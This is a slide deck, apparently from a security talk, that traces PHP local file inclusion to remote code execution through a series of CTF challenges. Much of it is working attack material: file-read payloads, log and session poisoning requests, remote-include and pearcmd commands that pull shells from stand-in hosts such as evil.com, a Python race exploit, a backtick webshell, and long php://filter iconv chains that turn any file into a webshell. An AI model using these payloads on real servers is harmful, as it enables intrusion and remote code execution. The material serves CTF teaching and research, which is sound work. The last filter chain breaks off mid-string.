## One Line PHP # 從入門到入土 #### One Line PHP: From Genesis to Ragnarök #### - Ginoah, Bookgin --- ## PHP include Introduction ---- #### [PHP: include - Manual](https://www.php.net/manual/en/function.include.php) The include expression includes and **evaluates** the specified file. 🤔 ---- #### i.e. - include - include_once - require - require_once ---- ### Scenario ---- #### 🌰 ``` website ├── index.php ├── home.php └── account.php ``` ```php= <?php //index.php ... include($_GET['page']); ?> ``` ```php= <?php //home.php ... print("home page"); ?> ``` ---- #### 🌰 (cont'd) `http://localhost/?page=home.php` ``` home page ``` --- ## LFI Local file inclusion ---- ### Scenario ```php include($_GET['page']); ``` ---- #### Normal Usage `/?page=home.php` ```php include($_GET['page']); ``` ---- #### Read local file `/?page=/etc/passwd` ```php include($_GET['page']); ``` ---- #### How to read php src / execute php code ---- PHP doesn't care about file name PHP looks for `open tag` in file, such as - `<?php` - `<?=` - `<?` // (short_open_tag=on) - `<%` // (asp_tags=on) - ... ---- #### PHP support a lot of protocols and wrappers ---- #### PHP Supported Protocols and Wrappers - file:// — Accessing local filesystem - http:// — Accessing HTTP(s) URLs - ftp:// — Accessing FTP(s) URLs - php:// — Accessing various I/O streams - zlib:// — Compression Streams - data:// — Data (RFC 2397) - glob:// — Find pathnames matching pattern - phar:// — PHP Archive - ... ---- #### PHP I/O stream wrapper [php://](https://www.php.net/manual/en/wrappers.php.php) - `php://stdin`, `php://stdout` .. - `php://input`, `php://output` - `php://fd` - `php://memory`, `php://temp` - `php://filter` ---- #### PHP filter `php://filter` - String Filters - string.rot13 - string.toupper - .. - Conversion Filters - convert.base64-encode - convert.iconv.* - .. - Compression Filters - .. - .. ---- #### `php://filter` to Read PHP src code ```bash /?page=php://filter/convert.base64-encode/resource=index.php ``` ```php include($_GET['page']); ``` PD9waHAKaW5jbHVkZSgkX0dFVFsncGFnZSddKTsK ```php <?php include($_GET['page']); ``` --- ## From LFI to RCE From local file inclusion to remote code execution (RCE) ---- ## Include user-controlled data If we luckily find a file with `<?php phpinfo(); ?>`, we can achieve RCE! ---- ## Question Is there a file containing user-controlled data? Or ... can we create one on our own? ---- ## LFI to RCE - **Remote include** - Log-related files - PHP temp files ---- ## Remote include ``` // default is Off :( allow_url_include = On ``` - `/?page=http://evil.tw/shell.php` - `/?page=ftp://evil-ftp.tw/shell.php` - `/?page=data://text/plain,<?php phpinfo();?>` ---- ## LFI to RCE - Remote include - **Log-related files** - PHP temp files ---- ## Environment variables - `/proc/self/environ` If you are still in 2000 where cgi-bin is popular: ``` GET /?page=../../../../proc/self/environ HTTP/1.1 User-Agent: <?php phpinfo();?> ``` ---- ## Environment variables (cont'd) because cgi-bin uses env to pass arguments: ``` USER_AGENT=<?php phpinfo();?> REQUEST_METHOD=GET REQUEST_URI=page=../../../../proc/self/environ HTTP_HOST=example.com ... ``` ---- ## Webserver log files - `/var/log/apache2/access.log` - `/var/log/apache2/error.log` ``` GET /?page=../../../../var/log/apache2/access.log HTTP/1.1 User-Agent: <?php phpinfo();?> ``` ---- ## Webserver log files (cont'd) The log files will contain ``` 127.0.0.1 - - [12/Jan/2022:20:42:23 +0800] "GET / HTTP/1.1" 400 484 "-" "curl/7.68.0" 127.0.0.1 - - [12/Jan/2022:20:42:50 +0800] "GET / HTTP/1.1" 400 484 "-" "<?php phpinfo(); ?>" ``` ---- ## ssh log files - `/var/log/auth.log` ```sh ssh '<?php phpinfo(); ?>'@example.com ``` ---- ## ssh log files (cont'd) The log file will contain ``` Jan 12 12:31:40 example sshd[724613]: Invalid user <?php phpinfo(); ?> from 127.0.0.1 port 31776 Jan 12 12:31:40 example sshd[724613]: Connection closed by invalid user <?php phpinfo(); ?> 127.0.0.1 port 31776 [preauth] ``` ---- ## LFI to RCE - Remote include - Log-related files - **PHP temp files** ---- ## PHP session files If one of the `$_SESSION` value can be controlled: ```php session_start(); $_SESSION["username"] = $_GET["username"]; ``` ---- ## PHP session files (cont'd) - `/tmp/sess_<session_id>` ``` username|s:6:"<?php phpinfo(); ?>"; ``` `<session_id>` can be set to a user-controlled value from the request cookie ``` Cookie: PHPSESSID=foobar // create a file `/tmp/sess_foobar` ``` ---- ## PHP POST upload If we send POST with a large file... ![http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf](https://i.imgur.com/UpZ2CiU.png) ---- ## PHP POST upload (cont'd) PHP will create a temp file `/tmp/phpAz7M6x` identical to our uploaded file. Filename: `php[a-zA-Z0-9]{6}` ---- ## PHP POST upload (cont'd) Since we need to guess the `/tmp/php??????` filename, we still need one following conditions: 1. List `/tmp/` 2. View the output of `phpinfo()` (tmp_name) 3. The server is [Windows](http://www.madchat.fr/coding/php/secu/onsec.whitepaper-02.eng.pdf) ---- ## PHP POST temp file on Windows `php[A-F0-9]{4}` ``` c:\windows\temp\php????.tmp ``` Brute-force 65536 or... `<` is a wildcard `*` on Windows! ``` include("c:\\windows\\temp\\php<<"); ``` ---- ## Conclusion With the default config of Windows PHP, fully LFI is equal to RCE. --- ## One Line PHP HITCON CTF 2018 **One Line PHP Challenge - orange_tw** ---- ## One Line PHP (cont'd) ```php <?php ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__); ``` 1. LFI 2. The file must start with `@<?php` 3. No session, ssh, log and env ---- ## Revisit our exploits - environment variables: it's not cgi-bin - webserver log: no permission to read - ssh log: ssh is not exposed - php \$_SESSION: no such thing - POST upload: no phpinfo ---- ## Session Upload Progress If `PHP_SESSION_UPLOAD_PROGRESS` in POST data, PHP will enable the session. [Session Upload Progress](https://www.php.net/manual/en/session.upload-progress.php) by default is enabled. ---- ## Session Upload Progress (cont'd) POST `PHP_SESSION_UPLOAD_PROGRESS=bazz` - `/var/lib/php/session/upload_progress_<session_id>` ``` upload_progress_bazz|a:5{s:10:"start_time";...} ``` ---- ## The last piece of the puzzle The file must start with `@<?php`. How to turn this into the desired string? ``` upload_progress_bazz|a:5{s:10:"start_time";...} ``` ---- ## Base64 to the rescue [By default](https://www.php.net/manual/en/function.base64-decode.php), invalid characters will be silently discarded. ```php php > var_dump(base64_decode("<(^_^)>Rk9PQkFSC")); string(6) "FOOBAR" ``` ---- ## base64 chains ```php php > var_dump(base64_decode("FOO_"."ZUms5UFFrRlND")); string(12) "�Rk9PQkFSC" php > var_dump(base64_decode(base64_decode("FOO_"."ZUms5UFFrRlND"))); string(6) "FOOBAR" ``` ---- ## Final exploit ``` data = { 'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + b64(b64(b64("@<?php phpinfo(); >"))) } requests.post( HOST, files={'f': open('large.txt').read()}, data=data, headers=dict(Cookie='PHPSESSID=foobar') ) ``` Racing the file and include it to RCE! ``` php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode /resource=/var/lib/php/sessions/sess_foobar ``` ---- ## Conclusion With the default config of Linux PHP, fully LFI is equal to RCE. --- ## One Line PHP Revenge RealWorld CTF 2018 **The Return of One Line PHP Challenge <br> - wupco1996** ---- ## One Line PHP Revenge (cont'd) Source code and config are exactly the same as One Line PHP challenge, but ... ``` session.upload_progress.enabled = false ``` ---- ## Revisit our exploits - environment variables: it's not cgi-bin - webserver log: no permission to read - ssh log: ssh is not exposed - php \$_SESSION: no such thing - POST upload: no phpinfo - upload session: disabled ---- ## POST upload `/tmp/php[a-zA-Z0-9]{6}` and limited time window ![](https://i.imgur.com/UpZ2CiU.png) ---- ## POST upload (cont'd) PHP 7.2 bug leads to segmenetaion fault ``` php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA ``` and the `/tmp/php??????` won't be deleted ---- ## Final exploit 1. POST 62**3 `/tmp/php??????` files 2. Try ro include 62**3 `/tmp/php000000` 3. RCE ---- ## Conclusion With the default config of Linux PHP 7.2, even if the session upload is disabled, fully LFI is equal to RCE. --- ## 1linephp 0CTF/TCTF 2021 **One line PHP Challenge with `.php` - yxxx** ---- ## 1linephp (cont'd) ```php <?php ($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html'); ``` ---- ## 1linephp (cont'd) ```php= <?php $filename=$_GET['yxxx'].'.php'; if(substr(file($filename)[0],0,6) === '@<?php') include($filename); ``` 1. `session.upload_progress = On` 2. The filename end with `.php` 3. The file must start with `@<?php` 4. `Zip` extension enabled ---- The extention tragedy ```php $filename=$_GET['yxxx'].'.php'; ``` ---- Can we use ``` POST / HTTP/1.0 Cookie: PHPSESSID=blahblah.php ``` to create `/tmp/sess_blahblah.php` ? ---- PHP doesn't allow `.` in Session name ``` POST / HTTP/1.0 Cookie: PHPSESSID=blahblah.php ``` ~~to create `/tmp/sess_blahblah.php`~~ ---- $_GET[yxxx] .`'.php'` - Http - `http://evil.com/shell.php#.php` - Phar - `phar:///tmp/sess_blahblah/shell.php` - Zip - `zip:///tmp/sess_blahblah#shell.php` ---- $_GET[yxxx] .`'.php'` - ~~Http~~ - allow_url_include = 0 - Phar - `phar:///tmp/sess_blahblah/shell.php` - Zip - `zip:///tmp/sess_blahblah#shell.php` ---- $_GET[yxxx] .`'.php'` - ~~Http~~ - allow_url_include = 0 - ~~Phar~~ - Phar require extention (any extention) - Zip - `zip:///tmp/sess_blahblah#shell.php` ---- $_GET[yxxx] .`'.php'` `zip:///tmp/sess_blahblah#shell.php` ---- But `/tmp/sess_blahblah` is not a zip file ``` POST / HTTP/1.0 Cookie: PHPSESSID=blahblah PHP_SESSION_UPLOAD_PROGRESS=<payload> ``` `/tmp/sess_blahblah` ``` upload_progress_<payload>|a:5:{s:10:"start_time";i... ``` ---- #### Zip format <img src="https://raw.githubusercontent.com/w181496/CTF/master/0ctf2021_qual/1linephp/zip_struct.png" style="height:500px"> ###### Ref: Kaibro ---- #### Make `sess_blahblah` a zip file <img src="https://raw.githubusercontent.com/w181496/CTF/master/0ctf2021_qual/1linephp/zip-sol.png" style="height:500px"> ###### Ref: Kaibro ---- ### Race it! `/?yxxx=zip:///tmp/sess_blahblah#shell` ```php= <?php $filename=$_GET['yxxx'].'.php'; include($filename); ``` ---- ## Conclusion With `zip` enabled, we can use zip wrapper to bypass extention restriction. partial LFI with `.php` is still equal to RCE. --- ## 2linephp Balsn CTF 2021 **One line PHP Challenge with `.php` & without Zip - Kaibro** ---- ## 2linephp (cont'd) ```php= <?php ($_=@implode($_GET)) && (stripos($_,"zip") !== FALSE || stripos($_,"p:") || stripos($_,"s:")) && die("Bad hacker!"); ($_=@$_GET['kaibro'].'.php') && @substr(file($_)[0],0,5) === '<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.php'); ``` ---- ## 2linephp (cont'd) ```php= <?php //... some WAF $filename=$_GET['kaibro'].'.php'; if(substr(file($filename)[0],0,5) === '<?php') include($filename); ``` 1. `session.upload_progress = On` 2. The filename end with `.php` 3. `Zip` extension disabled 4. The file must start with `<?php` 5. Use PHP officail docker image ---- What about existing PHP file? ```bash $ find / -name '*.php' ./usr/local/lib/php/PEAR.php ./usr/local/lib/php/System.php ... ./usr/local/lib/php/pearcmd.php ... ``` ---- #### pearcmd.php - PHP Extension and Application Repository - /usr/local/lib/php/pearcmd.php - **Default installed** in PHP official docker image - Cmd line tool to install PHP package ---- Since `pearcmd.php` is a Cmd line tool, It use `$_SERVER['argv']` as argument ---- `$_SERVER['argv']` ```php $_SERVER['argv'] = explode('+', $_SERVER[‘QUERY_STRING’]) ``` when `register_argc_argv = On` ---- #### Cmd line ```bash $ php pearcmd.php install -R /tmp http://evil.com/shell.php ``` #### Web ```bash /?+install+-R+/tmp http://evil.com/shell.php?&kaibro=/usr/local/lib/php/pearcmd ``` ---- #### Cmd line ```bash $ php pearcmd.php config-create /'<?=phpinfo()>' /tmp/info.php ``` #### Web ```bash /?+config-create+/'<?=phpinfo()>'+/tmp/info.php+&kaibro=/usr/local/lib/php/pearcmd ``` ---- #### But there's some WAF 1. `p:`, `s:` are blocked - disallow `http:`, `https:` 3. The file must start with `<?php` - `config-create` have garbage prefix ---- #### Cmd line ```bash $ php pearcmd.php channel-discover kaibro.tw/302.php ``` #### Web ```bash /?+channel-discover+kaibro.tw/302.php?&kaibro=/usr/local/lib/php/pearcmd ``` - `302.php` redirect to http://kaibro.tw/test.php - `/tmp/pear/temp/test.php` ---- ## Conclusion With PHP official docker image, there's a useful b4ckd0or - `pearcmd.php`, partial LFI with `.php` is equal to RCE. --- ## includer's revenge hxp CTF 2021 **One line PHP Challenge with Nginx - 0xbb** ---- #### includer's revenge ```php= <?php include($_GET['file']); ``` ---- #### includer's revenge ```php= <?php include($_GET['file']); ``` 1. `file_uploads = Off` 2. `session.upload_progress = Off` 3. chmod -R 000 /tmp /var/tmp /var/lib/php/sessions 4. `PHP-FPM` and `Nginx` is on the same host 5. `PHP-FPM` and `Nginx` both run with `www-data` ---- #### Find `www-data` writable file ```bash /dev/core /dev/stdout /dev/fd /dev/ptmx /dev/urandom ... /var/lib/nginx/scgi /var/lib/nginx/body /var/lib/nginx/uwsgi /var/lib/nginx/proxy /var/lib/nginx/fastcgi ``` ---- #### `/var/lib/nginx/body` When request body is big enough, `Nginx` will create a temp file to [buffer client body](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_buffer_size) ---- #### `/var/lib/nginx/body` (cont'd) But `Nginx` unlike the temp file immediately ```c= ngx_fd_t ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access) { ngx_fd_t fd; fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR, access ? access : 0600); if (fd != -1 && !persistent) { (void) unlink((const char *) name); } return fd; } ``` ---- #### procfs Since the file was unlink without closing, we can still read the file through `fd` under `/proc` ``` ... /proc/34/fd: total 0 lrwx------ 1 www-data www-data 64 0 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 11 -> socket:[27587] ... lrwx------ 1 www-data www-data 64 15-> /var/lib/nginx/body/0000001368 (deleted) ... ``` ---- #### So.. `include('/proc/34/fd/15')`? ---- #### Nope ~~include('/proc/34/fd/15')~~ if `php_sys_lstat()` findout the file was deleted, it won't include the file. ---- #### Soft link loop ```php include('/proc/self/root/proc/self/root/proc.../proc/34/fd/15') ``` ---- #### `Nginx`'s pid & fd 1. `/proc/<1-1000>/cmdline` to find pid 2. Brute force fd ---- #### Exploit 1. Find out `Nginx`'s pid 2. Keep sending huge body containing webshell to create temp file 3. Race the temp file with ```bash /?file=/proc/self/root/proc/self/root.../proc/<pid>/fd/<fd> ``` ---- ## Conclusion When `Nginx` and `PHP` is on the same host with same user, even if `file_uploads = Off` & `session.upload_progress = Off`, fully LFI is equal to RCE. --- ## 卍解 **PHP include webshell `without` tmp file - loknop** ---- <img src='https://i.imgur.com/XPNUJz0.png' style="height: 600px"> ---- `convert.iconv.UTF8.CSISO2022KR` ```php php://filter/convert.iconv.UTF8.CSISO2022KR/resource=/etc/hostname ``` Prepend `\x1b$)C` to any stream ---- `convert.base64-decode` ```php php://filter/convert.base64-decode/resource=... ``` Base64 decode and ignore any non base64 char ---- e.g. `/etc/passwd` ``` root:x:0:0:root:/root:/usr/bin/bash ... ``` ---- `convert.base64-encode` encode `/etc/passwd` ``` cm9vdDp4OjA6MDpyb290Oi9yb290Oi91c3IvYmluL3pzaA... ``` ---- &`convert.iconv.UTF8.CSISO2022KR` ``` \x1b$)Ccm9vdDp4OjA6MDpyb290Oi9yb290Oi91c3IvYmluL3pzaA... ``` ---- base64 decode decode('~~\x1b$)~~`Ccm9vdDp4OjA6MDpyb290Oi9yb290O...`') ---- We prepend `base64decode('C')` to the stream! ---- Web Shell ``` #<?=`$_GET[0]`;;?> base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" ``` ---- Fuzz the char we need ```php 'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2', 'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2', 'C': 'convert.iconv.UTF8.CSISO2022KR', '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB', 'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213', 's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61', 'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS', 'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932', 'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213', 'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5', '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', 'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2', 'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2', 'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2', 'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2', '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2', '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' ``` ---- ## **TH3 Bl4ck M4g1c** ```php include('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd') ``` `/etc/passwd` become ```php <?=`$_GET[0]`;;?>... ``` ---- ### Char Dictionary [PHP_INCLUDE_TO_SHELL_CHAR_DICT](https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT) wupco1996 ---- ### Char Dictionary (cont'd) ```php '0': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE' '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4' ... '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB' 'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE' ... 'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937' 'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213' ... 'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16' '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4' ``` ---- ### Now we can prepend anything to anyfile ```php include('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|conv